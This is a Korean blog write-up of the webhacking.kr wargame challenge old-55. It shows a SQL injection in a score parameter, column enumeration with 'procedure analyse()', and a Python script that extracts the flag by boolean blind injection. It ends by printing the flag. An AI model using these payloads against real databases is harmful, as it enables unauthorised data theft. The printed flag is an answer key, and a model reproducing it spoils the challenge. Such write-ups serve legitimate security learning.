WEB/Webhacking.kr

[Challenge(Old)] old-55 (40)

와금 2021. 10. 9. 17:28
728x90

https://webhacking.kr/challenge/web-31/

 

https://webhacking.kr/challenge/web-31/

 

webhacking.kr

 

 

메인 페이지다.

 

마우스를 움직이면 마우스 포인터를 따라 캐릭터가 움직이고, 점수와 x좌표, y좌표로 추측되는 숫자들이 바뀐다.

 

rank를 눌러보았다.

랭킹이 뜨고, 맨 아래에 쿼리가 있다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

chall55 테이블에 id, score, flag가 차례로 저장되는 것을 알 수 있다.

 

점수를 눌러보니 맨 위에 아이디와 점수가 출력되었다.

 

쿼리의 score부분을 1로 바꿔보았다.

 

아이디와 1이 출력되었다.

1점을 획득한 Piterpan 유저가 존재한다는 것을 알 수 있다.

 

score에 임의의 숫자 112131을 넣었더니 아무것도 출력되지 않았다.

 

즉, 해당 score를 획득한 id의 존재 여부를 파악할 수 있다는 것을 알았다.

 

1 and 1을 입력해보았다.

 

score=1에 해당하는 결과가 출력되는 것으로 보아 score 양 옆에 싱글쿼터로 막혀있는 것은 아닌 것 같다.

즉, 아래와 같은 형식으로 쿼리가 보내진다고 생각했다.

 select id, score from chall55 where score={$score}

 

싱글쿼터와 select는 입력했을 때 no hack라는 문구가 출력되어 사용할 수 없었다.

 

따라서 우선 flag가 담긴 컬럼명을 알아내고자 procedure analyse()를 사용했다.

chall55 테이블의 첫번째 컬럼명은 id이다.

다른 컬럼명을 알아내기 위해 limit를 이용했다.

 

score=1 limit 0,1 procedure analyse()

score=1 limit 1,1 procedure analyse()

score=1 limit 2,1 procedure analyse()

 

id, score, flag가 차례대로 저장된다고 했으므로 flag가 저장되어 있는 컬럼명은 p4ssw0rd_1123581321일 것이다.

 

파이썬을 이용해 자동화 프로그램을 작성했다.

import requests

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'}
url = "https://webhacking.kr/challenge/web-31/rank.php"
cookies = { 'PHPSESSID' : '쿠키값' }

pw = ""
length = 1

while True:
    query = "?score=1 and length(chall55.p4ssw0rd_1123581321)=" + str(length)
    res = requests.get(url + query)
    if "Piterpan" in res.text:
        print("Password's length : "+str(length))
        break
    length += 1
    
print("=====================")

for i in range(1, length+1):
    for j in range(32,128):
        params = {'score':'1 and ord(right(left(p4ssw0rd_1123581321,{}),1))={}'.format(i,j)}
        res = requests.get(url, headers=headers, cookies=cookies, params=params)
        if "Piterpan" in res.text:
            pw += chr(j)
            print(pw)
            break

print("Password : " + pw)

 

 

Flag : FLAG{easy_peasy_lemon_squeezy!}

 

Auth 페이지에 flag를 입력했다.

 

 

Clear!

728x90